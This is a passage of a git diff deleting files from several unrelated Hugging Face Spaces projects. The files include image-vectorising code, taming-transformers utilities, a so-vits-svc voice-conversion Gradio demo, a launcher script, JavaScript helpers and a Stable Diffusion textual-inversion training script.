node["sorted_examples_centroid"]: - node_examples[text_dset[sid][text_field_name]] = score - if len(node_examples) >= 5: - break - node["label"] = node.get( - "label", - f"{nid:2d} - {node['weight']:5d} items
      " - + "
      ".join( - [ - f" {score:.2f} > {txt[:64]}" + ("..." if len(txt) >= 63 else "") - for txt, score in node_examples.items() - ] - ), - ) - - # make plot nodes - labels = [node["label"] for node in node_list] - - root = node_list[0] - root["X"] = 0 - root["Y"] = 0 - - def rec_make_coordinates(node): - total_weight = 0 - add_weight = len(node["example_ids"]) - sum( - [child["weight"] for child in node["children"]] - ) - for child in node["children"]: - child["X"] = node["X"] + total_weight - child["Y"] = node["Y"] - 1 - total_weight += child["weight"] + add_weight / len(node["children"]) - rec_make_coordinates(child) - - rec_make_coordinates(root) - - E = [] # list of edges - Xn = [] - Yn = [] - Xe = [] - Ye = [] - for nid, node in enumerate(node_list): - Xn += [node["X"]] - Yn += [node["Y"]] - for child in node["children"]: - E += [(nid, nid_map[child["nid"]])] - Xe += [node["X"], child["X"], None] - Ye += [node["Y"], child["Y"], None] - - # make figure - fig = go.Figure() - fig.add_trace( - go.Scatter( - x=Xe, - y=Ye, - mode="lines", - line=dict(color="rgb(210,210,210)", width=1), - hoverinfo="none", - ) - ) - fig.add_trace( - go.Scatter( - x=Xn, - y=Yn, - mode="markers", - name="nodes", - marker=dict( - symbol="circle-dot", - size=18, - color="#6175c1", - line=dict(color="rgb(50,50,50)", width=1) - # '#DB4551', - ), - text=labels, - hoverinfo="text", - opacity=0.8, - ) - ) - return fig diff --git a/spaces/HuguesdeF/moulinette/code/functions.py b/spaces/HuguesdeF/moulinette/code/functions.py deleted file mode 100644 index c48c3424057c64e145f99cd91f81e70923bf8755..0000000000000000000000000000000000000000 --- a/spaces/HuguesdeF/moulinette/code/functions.py +++ /dev/null @@ -1,171 +0,0 @@ -import cv2 -import numpy as np -import matplotlib.pyplot as plt -import os -import copy -import cairosvg -from potrace import POTRACE_CORNER, Path, Bitmap -import io -from PIL import Image, ImageStat - -import streamlit as st -from PIL import Image - -@st.cache_data -def pipeline_svg(image_input, size_value, level=3, streamlit=False, threshold=0, kernel_type=cv2.MORPH_ELLIPSE, dilate_lines_value=0): - """ - uint8 ==> uint8 - - Args: - streamlit: - size_value: - image_input: - - Returns: - - """ - - # Process image - image_processed = process_svg(image_input, size_value=size_value, streamlit=streamlit, kernel_type=kernel_type, dilate_lines_value=dilate_lines_value) - - return image_processed - -def process_svg(img, size_value=12, level=1, streamlit=False, kernel_type=cv2.MORPH_ELLIPSE, dilate_lines_value=0): - - image_path = "input_image.png" - img = img.astype('uint8') - - # Lines very small - if dilate_lines_value > 0: - size = dilate_lines_value + 1 # No sens to dilate by one pixel (doesn't do anything). - kernel = get_kernel_ellipse(size, kernel_type=kernel_type) - img = cv2.erode(img, kernel, iterations=1) - - cv2.imwrite(image_path, img) - - #st.image(img / 255.0, caption="Image après premiere svg and back", use_column_width='auto') - - img_array = convert_to_svg_and_back(image_path) - - #st.image(img_array / 255.0, caption="Image après premiere svg and back", use_column_width='auto') - - img_array = binarise(img_array) - img_bin = 255 - img_array - img_bin = img_bin.astype('uint8') - image_already_added = np.zeros_like(img_bin) - - target_min_size = max(1, size_value) - - image_final = copy.deepcopy(img_bin) - for i in range(target_min_size+1): - size = 2 * i + 1 - kernel = get_kernel_ellipse(size, kernel_type=kernel_type) - - erosion = cv2.erode((img_bin - image_already_added), kernel, iterations=1) - dilation = cv2.dilate(erosion, kernel, iterations=1) - - image_petits_objets = (img_bin - dilation) - image_petits_objets = remove_solo_pixels(image_petits_objets, kernel_size=3) - - size = 2 * (target_min_size - i) + 1 - kernel = get_kernel_ellipse(size, kernel_type=kernel_type) - dilate_image_petits_objets = cv2.dilate(image_petits_objets, kernel, iterations=1) - - image_already_added += image_petits_objets - - if i > level: - image_final += dilate_image_petits_objets - - cv2.imwrite("image_finale.png", (255 - image_final)) - #st.image((255 - image_final) / 255.0, caption="(255 - image_final)", use_column_width='auto') - - #image = convert_to_svg_and_back((255-image_final)) - #image = 255 - image - #st.image((image) / 255.0, caption="convert_to_svg_and_back_new", use_column_width='auto') - - image = convert_to_svg_and_back("image_finale.png") - - return image - -def get_kernel_ellipse(size, kernel_type=cv2.MORPH_ELLIPSE): - list_coords = [size, size] - return cv2.getStructuringElement(kernel_type, (list_coords[0], list_coords[1]), - (int((list_coords[0] - 1) / 2), int((list_coords[1] - 1) / 2))) - - -def binarise(img): - img = img > 200 - img = img * 255 - img = img.astype('uint8') - return img - - -def imshow(title, image, vmin=0, vmax=1): - plt.figure() - plt.title(title) - plt.imshow(image * 255, vmin=vmin * 255, vmax=vmax * 255, cmap='gray') - - -def remove_solo_pixels(image, kernel_size=3): - kernel = get_kernel_ellipse(kernel_size) - - erosion = cv2.erode(image, kernel, iterations=1) - dilation = cv2.dilate(erosion, kernel, iterations=1) - - dilation = dilation.astype('uint8') - return dilation - -def convert_to_svg_and_back(image_path): - cmd_to_svg = f"potracer {image_path} -b svg -o images/image.svg" - cmd_to_raster = f"convert images/image.svg -colorspace Gray images/output.png" - - assert (os.system(cmd_to_svg)) == 0, f"Error with {cmd_to_svg}" - assert (os.system(cmd_to_raster)) == 0, f"Error with {cmd_to_raster}" - - return np.array(Image.open("images/output.png").convert('L')) - -def convert_to_svg_and_back_new(image_array) -> np.array: - image_pil = Image.fromarray(image_array) - - bm = Bitmap(image_pil, blacklevel=0.5) - - plist = bm.trace( - turdsize=2, - turnpolicy=4, - alphamax=1, - opticurve= False, - opttolerance=0.2) - - image = backend_svg_no_file(image_pil, plist) - - image = np.array(image) - - return image - -def backend_svg_no_file(image, path: Path): - output = f'' - - parts = [] - for curve in path: - fs = curve.start_point - parts.append("M%f,%f" % (fs.x, fs.y)) - for segment in curve.segments: - if segment.is_corner: - a = segment.c - parts.append("L%f,%f" % (a.x, a.y)) - b = segment.end_point - parts.append("L%f,%f" % (b.x, b.y)) - else: - a = segment.c1 - b = segment.c2 - c = segment.end_point - parts.append("C%f,%f %f,%f %f,%f" % (a.x, a.y, b.x, b.y, c.x, c.y)) - parts.append("z") - output += f'' - - output += "" - print(output) - # From svg to png (bytes) - image_data = cairosvg.surface.PNGSurface.convert(output) - image = Image.open(io.BytesIO(image_data)).split()[-1] - return image \ No newline at end of file diff --git a/spaces/Iceclear/StableSR/StableSR/taming/modules/util.py b/spaces/Iceclear/StableSR/StableSR/taming/modules/util.py deleted file mode 100644 index 9ee16385d8b1342a2d60a5f1aa5cadcfbe934bd8..0000000000000000000000000000000000000000 --- a/spaces/Iceclear/StableSR/StableSR/taming/modules/util.py +++ /dev/null @@ -1,130 +0,0 @@ -import torch -import torch.nn as nn - - -def count_params(model): - total_params = sum(p.numel() for p in model.parameters()) - return total_params - - -class ActNorm(nn.Module): - def __init__(self, num_features, logdet=False, affine=True, - allow_reverse_init=False): - assert affine - super().__init__() - self.logdet = logdet - self.loc = nn.Parameter(torch.zeros(1, num_features, 1, 1)) - self.scale = nn.Parameter(torch.ones(1, num_features, 1, 1)) - self.allow_reverse_init = allow_reverse_init - - self.register_buffer('initialized', torch.tensor(0, dtype=torch.uint8)) - - def initialize(self, input): - with torch.no_grad(): - flatten = input.permute(1, 0, 2, 3).contiguous().view(input.shape[1], -1) - mean = ( - flatten.mean(1) - .unsqueeze(1) - .unsqueeze(2) - .unsqueeze(3) - .permute(1, 0, 2, 3) - ) - std = ( - flatten.std(1) - .unsqueeze(1) - .unsqueeze(2) - .unsqueeze(3) - .permute(1, 0, 2, 3) - ) - - self.loc.data.copy_(-mean) - self.scale.data.copy_(1 / (std + 1e-6)) - - def forward(self, input, reverse=False): - if reverse: - return self.reverse(input) - if len(input.shape) == 2: - input = input[:,:,None,None] - squeeze = True - else: - squeeze = False - - _, _, height, width = input.shape - - if self.training and self.initialized.item() == 0: - self.initialize(input) - self.initialized.fill_(1) - - h = self.scale * (input + self.loc) - - if squeeze: - h = h.squeeze(-1).squeeze(-1) - - if self.logdet: - log_abs = torch.log(torch.abs(self.scale)) - logdet = height*width*torch.sum(log_abs) - logdet = logdet * torch.ones(input.shape[0]).to(input) - return h, logdet - - return h - - def reverse(self, output): - if self.training and self.initialized.item() == 0: - if not self.allow_reverse_init: - raise RuntimeError( - "Initializing ActNorm in reverse direction is " - "disabled by default. Use allow_reverse_init=True to enable." - ) - else: - self.initialize(output) - self.initialized.fill_(1) - - if len(output.shape) == 2: - output = output[:,:,None,None] - squeeze = True - else: - squeeze = False - - h = output / self.scale - self.loc - - if squeeze: - h = h.squeeze(-1).squeeze(-1) - return h - - -class AbstractEncoder(nn.Module): - def __init__(self): - super().__init__() - - def encode(self, *args, **kwargs): - raise NotImplementedError - - -class Labelator(AbstractEncoder): - """Net2Net Interface for Class-Conditional Model""" - def __init__(self, n_classes, quantize_interface=True): - super().__init__() - self.n_classes = n_classes - self.quantize_interface = quantize_interface - - def encode(self, c): - c = c[:,None] - if self.quantize_interface: - return c, None, [None, None, c.long()] - return c - - -class SOSProvider(AbstractEncoder): - # for unconditional training - def __init__(self, sos_token, quantize_interface=True): - super().__init__() - self.sos_token = sos_token - self.quantize_interface = quantize_interface - - def encode(self, x): - # get batch size from data and replicate sos_token - c = torch.ones(x.shape[0], 1)*self.sos_token - c = c.long().to(x.device) - if self.quantize_interface: - return c, None, [None, None, c] - return c diff --git a/spaces/Ikaros521/so-vits-svc-4.0-ikaros/app.py b/spaces/Ikaros521/so-vits-svc-4.0-ikaros/app.py deleted file mode 100644 index a0771d7cafca1cbb28c288aea08f0a412cb1e539..0000000000000000000000000000000000000000 --- a/spaces/Ikaros521/so-vits-svc-4.0-ikaros/app.py +++ /dev/null @@ -1,67 +0,0 @@ -import io -import os - -os.system("wget -P hubert/ https://huggingface.co/spaces/innnky/nanami/resolve/main/checkpoint_best_legacy_500.pt") -import gradio as gr -import librosa -import numpy as np -import soundfile -from inference.infer_tool import Svc -import logging - -logging.getLogger('numba').setLevel(logging.WARNING) -logging.getLogger('markdown_it').setLevel(logging.WARNING) -logging.getLogger('urllib3').setLevel(logging.WARNING) -logging.getLogger('matplotlib').setLevel(logging.WARNING) - -model = Svc("logs/44k/G_54600.pth", "configs/config.json", cluster_model_path="logs/44k/kmeans_10000.pt") - - - -def vc_fn(sid, input_audio, vc_transform, auto_f0,cluster_ratio, noise_scale): - if input_audio is None: - return "You need to upload an audio", None - sampling_rate, audio = input_audio - # print(audio.shape,sampling_rate) - duration = audio.shape[0] / sampling_rate - if duration > 60: - return "请上传小于60s的音频，需要转换长音频请本地进行转换", None - audio = (audio / np.iinfo(audio.dtype).max).astype(np.float32) - if len(audio.shape) > 1: - audio = librosa.to_mono(audio.transpose(1, 0)) - if sampling_rate != 16000: - audio = librosa.resample(audio, orig_sr=sampling_rate, target_sr=16000) - print(audio.shape) - out_wav_path = "temp.wav" - soundfile.write(out_wav_path, audio, 16000, format="wav") - print( cluster_ratio, auto_f0, noise_scale) - out_audio, out_sr = model.infer(sid, vc_transform, out_wav_path, - cluster_infer_ratio=cluster_ratio, - auto_predict_f0=auto_f0, - noice_scale=noise_scale - ) - return "Success", (44100, out_audio.numpy()) - - -app = gr.Blocks() -with app: - with gr.Tabs(): - with gr.TabItem("Basic"): - gr.Markdown(value=""" - SoVITS 4.0 在线 demo，基于 https://github.com/innnky/so-vits-svc/tree/4.0 - - ikaros 在线 demo, 严禁将模型用于任何商业项目，否则后果自负 - """) - spks = list(model.spk2id.keys()) - sid = gr.Dropdown(label="音色", choices=["ikaros"], value="ikaros") - vc_input3 = gr.Audio(label="上传音频（长度建议小于45秒）") - vc_transform = gr.Number(label="变调（整数，可以正负，半音数量，升高八度就是12）", value=0) - cluster_ratio = gr.Number(label="聚类模型混合比例，0-1之间，默认为0不启用聚类，能提升音色相似度，但会导致咬字下降（如果使用建议0.5左右）", value=0) - auto_f0 = gr.Checkbox(label="自动f0预测，配合聚类模型f0预测效果更好,会导致变调功能失效（仅限转换语音，歌声不要勾选此项会究极跑调）", value=False) - noise_scale = gr.Number(label="noise_scale 建议不要动，会影响音质，玄学参数", value=0.4) - vc_submit = gr.Button("转换", variant="primary") - vc_output1 = gr.Textbox(label="Output Message") - vc_output2 = gr.Audio(label="Output Audio") - vc_submit.click(vc_fn, [sid, vc_input3, vc_transform,auto_f0,cluster_ratio, noise_scale], [vc_output1, vc_output2]) - - app.launch() diff --git a/spaces/Intoval/privateChatGPT/chatgpt - macOS.command b/spaces/Intoval/privateChatGPT/chatgpt - macOS.command deleted file mode 100644 index fa015edca9e6916f24394813ce8ba77d2072e296..0000000000000000000000000000000000000000 --- a/spaces/Intoval/privateChatGPT/chatgpt - macOS.command +++ /dev/null @@ -1,7 +0,0 @@ -#!/bin/bash -echo Opening ChuanhuChatGPT... -cd "$(dirname "${BASH_SOURCE[0]}")" -nohup python3 ChuanhuChatbot.py >/dev/null 2>&1 & -sleep 5 -open http://127.0.0.1:7860 -echo Finished opening ChuanhuChatGPT (http://127.0.0.1:7860/). If you kill ChuanhuChatbot, Use "pkill -f 'ChuanhuChatbot'" command in terminal. \ No newline at end of file diff --git a/spaces/JUNGU/yolov8/README.md b/spaces/JUNGU/yolov8/README.md deleted file mode 100644 index 81e9718b67dca0d0adff058ff06e659f9f1e406d..0000000000000000000000000000000000000000 --- a/spaces/JUNGU/yolov8/README.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Yolov8 -emoji: 💩 -colorFrom: blue -colorTo: yellow -sdk: gradio -sdk_version: 3.16.1 -app_file: app.py -pinned: false -license: gpl-3.0 -duplicated_from: kadirnar/yolov8 ---- - -Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference diff --git a/spaces/Jean-Baptiste/email_parser/email_parser/__init__.py b/spaces/Jean-Baptiste/email_parser/email_parser/__init__.py deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/spaces/JohnSmith9982/ChuanhuChatGPT/web_assets/javascript/utils.js b/spaces/JohnSmith9982/ChuanhuChatGPT/web_assets/javascript/utils.js deleted file mode 100644 index cda208a085be790cca1cf1a18bba27550caeca30..0000000000000000000000000000000000000000 --- a/spaces/JohnSmith9982/ChuanhuChatGPT/web_assets/javascript/utils.js +++ /dev/null @@ -1,83 +0,0 @@ - -var gradioUploader = null; - -function testUpload(target) { - gradioUploader = gradioApp().querySelector("#upload-index-file > .center.flex"); - let uploaderEvents = ["click", "drag", "dragend", "dragenter", "dragleave", "dragover", "dragstart", "drop"]; - transEventListeners(target, gradioUploader, uploaderEvents); -} - - -function transEventListeners(target, source, events) { - events.forEach((sourceEvent) => { - target.addEventListener(sourceEvent, function (targetEvent) { - if(targetEvent.preventDefault) targetEvent.preventDefault(); - if(targetEvent.stopPropagation) targetEvent.stopPropagation(); - - source.dispatchEvent(new Event(sourceEvent, {detail: targetEvent.detail})); - console.log(targetEvent.detail); - }); - }); -} - - -function isImgUrl(url) { - const imageExtensions = /\.(jpg|jpeg|png|gif|bmp|webp)$/i; - if (url.startsWith('data:image/')) { - return true; - } - if (url.match(imageExtensions)) { - return true; - } - if (url.startsWith('http://') || url.startsWith('https://')) { - return true; - } - - return false; -} - - -/* NOTE: These reload functions are not used in the current version of the code. - * From stable-diffusion-webui - */ -function restart_reload() { - document.body.innerHTML = '

      Reloading...

      '; - - var requestPing = function () { - requestGet("./internal/ping", {}, function (data) { - location.reload(); - }, function () { - setTimeout(requestPing, 500); - }); - }; - - setTimeout(requestPing, 2000); - - return []; -} - -function requestGet(url, data, handler, errorHandler) { - var xhr = new XMLHttpRequest(); - var args = Object.keys(data).map(function (k) { - return encodeURIComponent(k) + '=' + encodeURIComponent(data[k]); - }).join('&'); - xhr.open("GET", url + "?" + args, true); - - xhr.onreadystatechange = function () { - if (xhr.readyState === 4) { - if (xhr.status === 200) { - try { - var js = JSON.parse(xhr.responseText); - handler(js); - } catch (error) { - console.error(error); - errorHandler(); - } - } else { - errorHandler(); - } - } - }; - var js = JSON.stringify(data); - xhr.send(js); -} diff --git a/spaces/Kaixuanliu/textual-inversion-training/textual_inversion.py b/spaces/Kaixuanliu/textual-inversion-training/textual_inversion.py deleted file mode 100644 index 1eb6f5df52bcff384012fc93484d1a0435dbdde1..0000000000000000000000000000000000000000 --- a/spaces/Kaixuanliu/textual-inversion-training/textual_inversion.py +++ /dev/null @@ -1,612 +0,0 @@ -import argparse -import itertools -import math -import os -import random -from pathlib import Path -from typing import Optional - -import numpy as np -import torch -import torch.nn.functional as F -import torch.utils.checkpoint -from torch.utils.data import Dataset - -import PIL -from accelerate import Accelerator -from accelerate.logging import get_logger -from accelerate.utils import set_seed -from diffusers import AutoencoderKL, DDPMScheduler, PNDMScheduler, StableDiffusionPipeline, UNet2DConditionModel -from diffusers.optimization import get_scheduler -from diffusers.pipelines.stable_diffusion import StableDiffusionSafetyChecker -from huggingface_hub import HfFolder, Repository, whoami -from PIL import Image -from torchvision import transforms -from tqdm.auto import tqdm -from transformers import CLIPFeatureExtractor, CLIPTextModel, CLIPTokenizer -import gc - -logger = get_logger(__name__) - - -def save_progress(text_encoder, placeholder_token_id, accelerator, args): - logger.info("Saving embeddings") - learned_embeds = accelerator.unwrap_model(text_encoder).get_input_embeddings().weight[placeholder_token_id] - learned_embeds_dict = {args.placeholder_token: learned_embeds.detach().cpu()} - torch.save(learned_embeds_dict, os.path.join(args.output_dir, "learned_embeds.bin")) - - -def parse_args(): - parser = argparse.ArgumentParser(description="Simple example of a training script.") - parser.add_argument( - "--save_steps", - type=int, - default=500, - help="Save learned_embeds.bin every X updates steps.", - ) - parser.add_argument( - "--pretrained_model_name_or_path", - type=str, - default=None, - help="Path to pretrained model or model identifier from huggingface.co/models.", - ) - parser.add_argument( - "--tokenizer_name", - type=str, - default=None, - help="Pretrained tokenizer name or path if not the same as model_name", - ) - parser.add_argument( - "--train_data_dir", type=str, default=None, help="A folder containing the training data." - ) - parser.add_argument( - "--placeholder_token", - type=str, - default=None, - help="A token to use as a placeholder for the concept.", - ) - parser.add_argument( - "--initializer_token", type=str, default=None, help="A token to use as initializer word." - ) - parser.add_argument("--learnable_property", type=str, default="object", help="Choose between 'object' and 'style'") - parser.add_argument("--repeats", type=int, default=100, help="How many times to repeat the training data.") - parser.add_argument( - "--output_dir", - type=str, - default="text-inversion-model", - help="The output directory where the model predictions and checkpoints will be written.", - ) - parser.add_argument("--seed", type=int, default=None, help="A seed for reproducible training.") - parser.add_argument( - "--resolution", - type=int, - default=512, - help=( - "The resolution for input images, all the images in the train/validation dataset will be resized to this" - " resolution" - ), - ) - parser.add_argument( - "--center_crop", action="store_true", help="Whether to center crop images before resizing to resolution" - ) - parser.add_argument( - "--train_batch_size", type=int, default=16, help="Batch size (per device) for the training dataloader." - ) - parser.add_argument("--num_train_epochs", type=int, default=100) - parser.add_argument( - "--max_train_steps", - type=int, - default=5000, - help="Total number of training steps to perform. If provided, overrides num_train_epochs.", - ) - parser.add_argument( - "--gradient_accumulation_steps", - type=int, - default=1, - help="Number of updates steps to accumulate before performing a backward/update pass.", - ) - parser.add_argument( - "--learning_rate", - type=float, - default=1e-4, - help="Initial learning rate (after the potential warmup period) to use.", - ) - parser.add_argument( - "--scale_lr", - action="store_true", - default=True, - help="Scale the learning rate by the number of GPUs, gradient accumulation steps, and batch size.", - ) - parser.add_argument( - "--lr_scheduler", - type=str, - default="constant", - help=( - 'The scheduler type to use. Choose between ["linear", "cosine", "cosine_with_restarts", "polynomial",' - ' "constant", "constant_with_warmup"]' - ), - ) - parser.add_argument( - "--lr_warmup_steps", type=int, default=500, help="Number of steps for the warmup in the lr scheduler." - ) - parser.add_argument("--adam_beta1", type=float, default=0.9, help="The beta1 parameter for the Adam optimizer.") - parser.add_argument("--adam_beta2", type=float, default=0.999, help="The beta2 parameter for the Adam optimizer.") - parser.add_argument("--adam_weight_decay", type=float, default=1e-2, help="Weight decay to use.") - parser.add_argument("--adam_epsilon", type=float, default=1e-08, help="Epsilon value for the Adam optimizer") - parser.add_argument("--push_to_hub", action="store_true", help="Whether or not to push the model to the Hub.") - parser.add_argument("--hub_token", type=str, default=None, help="The token to use to push to the Model Hub.") - parser.add_argument( - "--hub_model_id", - type=str, - default=None, - help="The name of the repository to keep in sync with the local `output_dir`.", - ) - parser.add_argument( - "--logging_dir", - type=str, - default="logs", - help=( - "[TensorBoard](https://www.tensorflow.org/tensorboard) log directory. Will default to" - " *output_dir/runs/**CURRENT_DATETIME_HOSTNAME***." - ), - ) - parser.add_argument( - "--mixed_precision", - type=str, - default="no", - choices=["no", "fp16", "bf16"], - help=( - "Whether to use mixed precision. Choose" - "between fp16 and bf16 (bfloat16). Bf16 requires PyTorch >= 1.10." - "and an Nvidia Ampere GPU." - ), - ) - parser.add_argument("--local_rank", type=int, default=-1, help="For distributed training: local_rank") - - args = parser.parse_args() - env_local_rank = int(os.environ.get("LOCAL_RANK", -1)) - if env_local_rank != -1 and env_local_rank != args.local_rank: - args.local_rank = env_local_rank - - ''' - if args.train_data_dir is None: - raise ValueError("You must specify a train data directory.") - ''' - - return args - - -imagenet_templates_small = [ - "a photo of a {}", - "a rendering of a {}", - "a cropped photo of the {}", - "the photo of a {}", - "a photo of a clean {}", - "a photo of a dirty {}", - "a dark photo of the {}", - "a photo of my {}", - "a photo of the cool {}", - "a close-up photo of a {}", - "a bright photo of the {}", - "a cropped photo of a {}", - "a photo of the {}", - "a good photo of the {}", - "a photo of one {}", - "a close-up photo of the {}", - "a rendition of the {}", - "a photo of the clean {}", - "a rendition of a {}", - "a photo of a nice {}", - "a good photo of a {}", - "a photo of the nice {}", - "a photo of the small {}", - "a photo of the weird {}", - "a photo of the large {}", - "a photo of a cool {}", - "a photo of a small {}", -] - -imagenet_style_templates_small = [ - "a painting in the style of {}", - "a rendering in the style of {}", - "a cropped painting in the style of {}", - "the painting in the style of {}", - "a clean painting in the style of {}", - "a dirty painting in the style of {}", - "a dark painting in the style of {}", - "a picture in the style of {}", - "a cool painting in the style of {}", - "a close-up painting in the style of {}", - "a bright painting in the style of {}", - "a cropped painting in the style of {}", - "a good painting in the style of {}", - "a close-up painting in the style of {}", - "a rendition in the style of {}", - "a nice painting in the style of {}", - "a small painting in the style of {}", - "a weird painting in the style of {}", - "a large painting in the style of {}", -] - - -class TextualInversionDataset(Dataset): - def __init__( - self, - data_root, - tokenizer, - learnable_property="object", # [object, style] - size=512, - repeats=100, - interpolation="bicubic", - flip_p=0.5, - set="train", - placeholder_token="*", - center_crop=False, - ): - self.data_root = data_root - self.tokenizer = tokenizer - self.learnable_property = learnable_property - self.size = size - self.placeholder_token = placeholder_token - self.center_crop = center_crop - self.flip_p = flip_p - - self.image_paths = [os.path.join(self.data_root, file_path) for file_path in os.listdir(self.data_root)] - - self.num_images = len(self.image_paths) - self._length = self.num_images - - if set == "train": - self._length = self.num_images * repeats - - self.interpolation = { - "linear": PIL.Image.LINEAR, - "bilinear": PIL.Image.BILINEAR, - "bicubic": PIL.Image.BICUBIC, - "lanczos": PIL.Image.LANCZOS, - }[interpolation] - - self.templates = imagenet_style_templates_small if learnable_property == "style" else imagenet_templates_small - self.flip_transform = transforms.RandomHorizontalFlip(p=self.flip_p) - - def __len__(self): - return self._length - - def __getitem__(self, i): - example = {} - image = Image.open(self.image_paths[i % self.num_images]) - - if not image.mode == "RGB": - image = image.convert("RGB") - - placeholder_string = self.placeholder_token - text = random.choice(self.templates).format(placeholder_string) - - example["input_ids"] = self.tokenizer( - text, - padding="max_length", - truncation=True, - max_length=self.tokenizer.model_max_length, - return_tensors="pt", - ).input_ids[0] - - # default to score-sde preprocessing - img = np.array(image).astype(np.uint8) - - if self.center_crop: - crop = min(img.shape[0], img.shape[1]) - h, w, = ( - img.shape[0], - img.shape[1], - ) - img = img[(h - crop) // 2 : (h + crop) // 2, (w - crop) // 2 : (w + crop) // 2] - - image = Image.fromarray(img) - image = image.resize((self.size, self.size), resample=self.interpolation) - - image = self.flip_transform(image) - image = np.array(image).astype(np.uint8) - image = (image / 127.5 - 1.0).astype(np.float32) - - example["pixel_values"] = torch.from_numpy(image).permute(2, 0, 1) - return example - - -def get_full_repo_name(model_id: str, organization: Optional[str] = None, token: Optional[str] = None): - if token is None: - token = HfFolder.get_token() - if organization is None: - username = whoami(token)["name"] - return f"{username}/{model_id}" - else: - return f"{organization}/{model_id}" - - -def freeze_params(params): - for param in params: - param.requires_grad = False - - -def merge_two_dicts(starting_dict: dict, updater_dict: dict) -> dict: - """ - Starts from base starting dict and then adds the remaining key values from updater replacing the values from - the first starting/base dict with the second updater dict. - - For later: how does d = {**d1, **d2} replace collision? - - :param starting_dict: - :param updater_dict: - :return: - """ - new_dict: dict = starting_dict.copy() # start with keys and values of starting_dict - new_dict.update(updater_dict) # modifies starting_dict with keys and values of updater_dict - return new_dict - -def merge_args(args1: argparse.Namespace, args2: argparse.Namespace) -> argparse.Namespace: - """ - - ref: https://stackoverflow.com/questions/56136549/how-can-i-merge-two-argparse-namespaces-in-python-2-x - :param args1: - :param args2: - :return: - """ - # - the merged args - # The vars() function returns the __dict__ attribute to values of the given object e.g {field:value}. - merged_key_values_for_namespace: dict = merge_two_dicts(vars(args1), vars(args2)) - args = argparse.Namespace(**merged_key_values_for_namespace) - return args - -def run_training(args_imported): - args_default = parse_args() - args = merge_args(args_default, args_imported) - - print(args) - logging_dir = os.path.join(args.output_dir, args.logging_dir) - - accelerator = Accelerator( - gradient_accumulation_steps=args.gradient_accumulation_steps, - mixed_precision=args.mixed_precision, - log_with="tensorboard", - logging_dir=logging_dir, - ) - - # If passed along, set the training seed now. - if args.seed is not None: - set_seed(args.seed) - - # Handle the repository creation - if accelerator.is_main_process: - if args.push_to_hub: - if args.hub_model_id is None: - repo_name = get_full_repo_name(Path(args.output_dir).name, token=args.hub_token) - else: - repo_name = args.hub_model_id - repo = Repository(args.output_dir, clone_from=repo_name) - - with open(os.path.join(args.output_dir, ".gitignore"), "w+") as gitignore: - if "step_*" not in gitignore: - gitignore.write("step_*\n") - if "epoch_*" not in gitignore: - gitignore.write("epoch_*\n") - elif args.output_dir is not None: - os.makedirs(args.output_dir, exist_ok=True) - - # Load the tokenizer and add the placeholder token as a additional special token - if args.tokenizer_name: - tokenizer = CLIPTokenizer.from_pretrained(args.tokenizer_name) - elif args.pretrained_model_name_or_path: - tokenizer = CLIPTokenizer.from_pretrained(args.pretrained_model_name_or_path, subfolder="tokenizer") - - # Add the placeholder token in tokenizer - num_added_tokens = tokenizer.add_tokens(args.placeholder_token) - if num_added_tokens == 0: - raise ValueError( - f"The tokenizer already contains the token {args.placeholder_token}. Please pass a different" - " `placeholder_token` that is not already in the tokenizer." - ) - - # Convert the initializer_token, placeholder_token to ids - token_ids = tokenizer.encode(args.initializer_token, add_special_tokens=False) - # Check if initializer_token is a single token or a sequence of tokens - if len(token_ids) > 1: - raise ValueError("The initializer token must be a single token.") - - initializer_token_id = token_ids[0] - placeholder_token_id = tokenizer.convert_tokens_to_ids(args.placeholder_token) - - # Load models and create wrapper for stable diffusion - text_encoder = CLIPTextModel.from_pretrained(args.pretrained_model_name_or_path, subfolder="text_encoder") - vae = AutoencoderKL.from_pretrained(args.pretrained_model_name_or_path, subfolder="vae") - unet = UNet2DConditionModel.from_pretrained(args.pretrained_model_name_or_path, subfolder="unet") - - # Resize the token embeddings as we are adding new special tokens to the tokenizer - text_encoder.resize_token_embeddings(len(tokenizer)) - - # Initialise the newly added placeholder token with the embeddings of the initializer token - token_embeds = text_encoder.get_input_embeddings().weight.data - token_embeds[placeholder_token_id] = token_embeds[initializer_token_id] - - # Freeze vae and unet - freeze_params(vae.parameters()) - freeze_params(unet.parameters()) - # Freeze all parameters except for the token embeddings in text encoder - params_to_freeze = itertools.chain( - text_encoder.text_model.encoder.parameters(), - text_encoder.text_model.final_layer_norm.parameters(), - text_encoder.text_model.embeddings.position_embedding.parameters(), - ) - freeze_params(params_to_freeze) - - if args.scale_lr: - args.learning_rate = ( - args.learning_rate * args.gradient_accumulation_steps * args.train_batch_size * accelerator.num_processes - ) - - # Initialize the optimizer - optimizer = torch.optim.AdamW( - text_encoder.get_input_embeddings().parameters(), # only optimize the embeddings - lr=args.learning_rate, - betas=(args.adam_beta1, args.adam_beta2), - weight_decay=args.adam_weight_decay, - eps=args.adam_epsilon, - ) - - # TODO (patil-suraj): load scheduler using args - noise_scheduler = DDPMScheduler( - beta_start=0.00085, - beta_end=0.012, - beta_schedule="scaled_linear", - num_train_timesteps=1000, - ) - - train_dataset = TextualInversionDataset( - data_root=args.train_data_dir, - tokenizer=tokenizer, - size=args.resolution, - placeholder_token=args.placeholder_token, - repeats=args.repeats, - learnable_property=args.learnable_property, - center_crop=args.center_crop, - set="train", - ) - train_dataloader = torch.utils.data.DataLoader(train_dataset, batch_size=args.train_batch_size, shuffle=True) - - # Scheduler and math around the number of training steps. - overrode_max_train_steps = False - num_update_steps_per_epoch = math.ceil(len(train_dataloader) / args.gradient_accumulation_steps) - if args.max_train_steps is None: - args.max_train_steps = args.num_train_epochs * num_update_steps_per_epoch - overrode_max_train_steps = True - - lr_scheduler = get_scheduler( - args.lr_scheduler, - optimizer=optimizer, - num_warmup_steps=args.lr_warmup_steps * args.gradient_accumulation_steps, - num_training_steps=args.max_train_steps * args.gradient_accumulation_steps, - ) - - text_encoder, optimizer, train_dataloader, lr_scheduler = accelerator.prepare( - text_encoder, optimizer, train_dataloader, lr_scheduler - ) - - # Move vae and unet to device - vae.to(accelerator.device) - unet.to(accelerator.device) - - # Keep vae and unet in eval model as we don't train these - vae.eval() - unet.eval() - - # We need to recalculate our total training steps as the size of the training dataloader may have changed. - num_update_steps_per_epoch = math.ceil(len(train_dataloader) / args.gradient_accumulation_steps) - if overrode_max_train_steps: - 